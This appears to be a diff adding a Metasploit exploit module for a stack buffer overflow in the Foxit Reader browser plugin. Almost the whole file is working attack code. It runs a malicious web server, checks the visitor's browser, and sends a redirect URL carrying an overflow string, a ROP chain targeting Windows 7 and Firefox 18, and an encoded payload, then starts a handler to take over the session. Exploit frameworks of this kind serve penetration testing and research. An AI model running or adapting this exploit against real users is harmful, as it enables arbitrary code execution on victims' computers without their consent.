|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# Framework web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/framework/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + |
| 12 | + include Msf::Exploit::Remote::HttpServer::HTML |
| 13 | + |
| 14 | + Rank = NormalRanking |
| 15 | + |
| 16 | + def initialize(info={}) |
| 17 | + super(update_info(info, |
| 18 | + 'Name' => "Foxit Reader Plugin URL Processing Buffer Overflow", |
| 19 | + 'Description' => %q{ |
| 20 | + This module exploits a vulnerability in the Foxit Reader Plugin, it exists in |
| 21 | + the npFoxitReaderPlugin.dll module. When loading PDF files from remote hosts, |
| 22 | + overly long query strings within URLs can cause a stack-based buffer overflow, |
| 23 | + which can be exploited to execute arbitrary code. This exploit has been tested |
| 24 | + on Windows 7 SP1 with Firefox 18.0 and Foxit Reader version 5.4.4.11281 |
| 25 | + (npFoxitReaderPlugin.dll version 2.2.1.530). |
| 26 | + }, |
| 27 | + 'License' => MSF_LICENSE, |
| 28 | + 'Author' => |
| 29 | + [ |
| 30 | + 'rgod <rgod[at]autistici.org>', # initial discovery and poc |
| 31 | + 'Sven Krewitt <svnk[at]krewitt.org>', # metasploit module |
| 32 | + 'juan vazquez', # metasploit module |
| 33 | + ], |
| 34 | + 'References' => |
| 35 | + [ |
| 36 | + [ 'OSVDB', '89030' ], |
| 37 | + [ 'BID', '57174' ], |
| 38 | + [ 'EDB', '23944' ], |
| 39 | + [ 'URL', 'http://retrogod.altervista.org/9sg_foxit_overflow.htm' ], |
| 40 | + [ 'URL', 'http://secunia.com/advisories/51733/' ] |
| 41 | + ], |
| 42 | + 'Payload' => |
| 43 | + { |
| 44 | + 'Space' => 2000, |
| 45 | + 'DisableNops' => true |
| 46 | + }, |
| 47 | + 'DefaultOptions' => |
| 48 | + { |
| 49 | + 'EXITFUNC' => "process", |
| 50 | + 'InitialAutoRunScript' => 'migrate -f' |
| 51 | + }, |
| 52 | + 'Platform' => 'win', |
| 53 | + 'Targets' => |
| 54 | + [ |
| 55 | + # npFoxitReaderPlugin.dll version 2.2.1.530 |
| 56 | + [ 'Automatic', {} ], |
| 57 | + [ 'Windows 7 SP1 / Firefox 18 / Foxit Reader 5.4.4.11281', |
| 58 | + { |
| 59 | + 'Offset' => 272, |
| 60 | + 'Ret' => 0x1000c57d, # pop # ret # from npFoxitReaderPlugin |
| 61 | + 'WritableAddress' => 0x10045c10, # from npFoxitReaderPlugin |
| 62 | + :rop => :win7_rop_chain |
| 63 | + } |
| 64 | + ] |
| 65 | + ], |
| 66 | + 'Privileged' => false, |
| 67 | + 'DisclosureDate' => "Jan 7 2013", |
| 68 | + 'DefaultTarget' => 0)) |
| 69 | + end |
| 70 | + |
| 71 | + def get_target(agent) |
| 72 | + #If the user is already specified by the user, we'll just use that |
| 73 | + return target if target.name != 'Automatic' |
| 74 | + |
| 75 | + #Mozilla/5.0 (Windows NT 6.1; rv:18.0) Gecko/20100101 Firefox/18.0 |
| 76 | + nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' |
| 77 | + firefox = agent.scan(/Firefox\/(\d+\.\d+)/).flatten[0] || '' |
| 78 | + |
| 79 | + case nt |
| 80 | + when '5.1' |
| 81 | + os_name = 'Windows XP SP3' |
| 82 | + when '6.0' |
| 83 | + os_name = 'Windows Vista' |
| 84 | + when '6.1' |
| 85 | + os_name = 'Windows 7' |
| 86 | + end |
| 87 | + |
| 88 | + if os_name == 'Windows 7' and firefox =~ /18/ |
| 89 | + return targets[1] |
| 90 | + end |
| 91 | + |
| 92 | + return nil |
| 93 | + end |
| 94 | + |
| 95 | + # Uses rop chain from npFoxitReaderPlugin.dll (foxit) (no ASLR module) |
| 96 | + def win7_rop_chain |
| 97 | + |
| 98 | + # rop chain generated with mona.py - www.corelan.be |
| 99 | + rop_gadgets = |
| 100 | + [ |
| 101 | + 0x1000ce1a, # POP EAX # RETN [npFoxitReaderPlugin.dll] |
| 102 | + 0x100361a8, # ptr to &VirtualAlloc() [IAT npFoxitReaderPlugin.dll] |
| 103 | + 0x1000f055, # MOV EAX,DWORD PTR DS:[EAX] # RETN [npFoxitReaderPlugin.dll] |
| 104 | + 0x10021081, # PUSH EAX # POP ESI # RETN 0x04 [npFoxitReaderPlugin.dll] |
| 105 | + 0x10007971, # POP EBP # RETN [npFoxitReaderPlugin.dll] |
| 106 | + 0x41414141, # Filler (RETN offset compensation) |
| 107 | + 0x1000614c, # & push esp # ret [npFoxitReaderPlugin.dll] |
| 108 | + 0x100073fa, # POP EBX # RETN [npFoxitReaderPlugin.dll] |
| 109 | + 0x00001000, # 0x00001000-> edx |
| 110 | + 0x1000d9ec, # XOR EDX, EDX # RETN |
| 111 | + 0x1000d9be, # ADD EDX,EBX # POP EBX # RETN 0x10 [npFoxitReaderPlugin.dll] |
| 112 | + 0x41414141, # Filler (compensate) |
| 113 | + 0x100074a7, # POP ECX # RETN [npFoxitReaderPlugin.dll] |
| 114 | + 0x41414141, # Filler (RETN offset compensation) |
| 115 | + 0x41414141, # Filler (RETN offset compensation) |
| 116 | + 0x41414141, # Filler (RETN offset compensation) |
| 117 | + 0x41414141, # Filler (RETN offset compensation) |
| 118 | + 0x00000040, # 0x00000040-> ecx |
| 119 | + 0x1000e4ab, # POP EBX # RETN [npFoxitReaderPlugin.dll] |
| 120 | + 0x00000001, # 0x00000001-> ebx |
| 121 | + 0x1000dc86, # POP EDI # RETN [npFoxitReaderPlugin.dll] |
| 122 | + 0x1000eb81, # RETN (ROP NOP) [npFoxitReaderPlugin.dll] |
| 123 | + 0x1000c57d, # POP EAX # RETN [npFoxitReaderPlugin.dll] |
| 124 | + 0x90909090, # nop |
| 125 | + 0x10005638, # PUSHAD # RETN [npFoxitReaderPlugin.dll] |
| 126 | + ].flatten.pack("V*") |
| 127 | + |
| 128 | + return rop_gadgets |
| 129 | + end |
| 130 | + |
| 131 | + def on_request_uri(cli, request) |
| 132 | + |
| 133 | + agent = request.headers['User-Agent'] |
| 134 | + my_target = get_target(agent) |
| 135 | + |
| 136 | + # Avoid the attack if no suitable target found |
| 137 | + if my_target.nil? |
| 138 | + print_error("Browser not supported, sending 404: #{agent}") |
| 139 | + send_not_found(cli) |
| 140 | + return |
| 141 | + end |
| 142 | + |
| 143 | + unless self.respond_to?(my_target[:rop]) |
| 144 | + print_error("Invalid target specified: no callback function defined") |
| 145 | + send_not_found(cli) |
| 146 | + return |
| 147 | + end |
| 148 | + |
| 149 | + return if ((p = regenerate_payload(cli)) == nil) |
| 150 | + |
| 151 | + # we use two responses: |
| 152 | + # one for an HTTP 301 redirect and sending the payload |
| 153 | + # and one for sending the HTTP 200 OK with appropriate Content-Type |
| 154 | + if request.resource =~ /\.pdf$/ |
| 155 | + # sending Content-Type |
| 156 | + resp = create_response(200, "OK") |
| 157 | + resp.body = "" |
| 158 | + resp['Content-Type'] = 'application/pdf' |
| 159 | + resp['Content-Length'] = rand_text_numeric(3,"0") |
| 160 | + cli.send_response(resp) |
| 161 | + return |
| 162 | + else |
| 163 | + resp = create_response(301, "Moved Permanently") |
| 164 | + resp.body = "" |
| 165 | + |
| 166 | + my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] |
| 167 | + if datastore['SSL'] |
| 168 | + schema = "https" |
| 169 | + else |
| 170 | + schema = "http" |
| 171 | + end |
| 172 | + |
| 173 | + sploit = rand_text_alpha(my_target['Offset'] - "#{schema}://#{my_host}:#{datastore['SRVPORT']}#{request.uri}.pdf?".length) |
| 174 | + sploit << [my_target.ret].pack("V") # EIP |
| 175 | + sploit << [my_target['WritableAddress']].pack("V") # Writable Address |
| 176 | + sploit << self.send(my_target[:rop]) |
| 177 | + sploit << p.encoded |
| 178 | + |
| 179 | + resp['Location'] = request.uri + '.pdf?' + Rex::Text.uri_encode(sploit, 'hex-all') |
| 180 | + cli.send_response(resp) |
| 181 | + |
| 182 | + # handle the payload |
| 183 | + handler(cli) |
| 184 | + end |
| 185 | + end |
| 186 | + |
| 187 | +end |
0 commit comments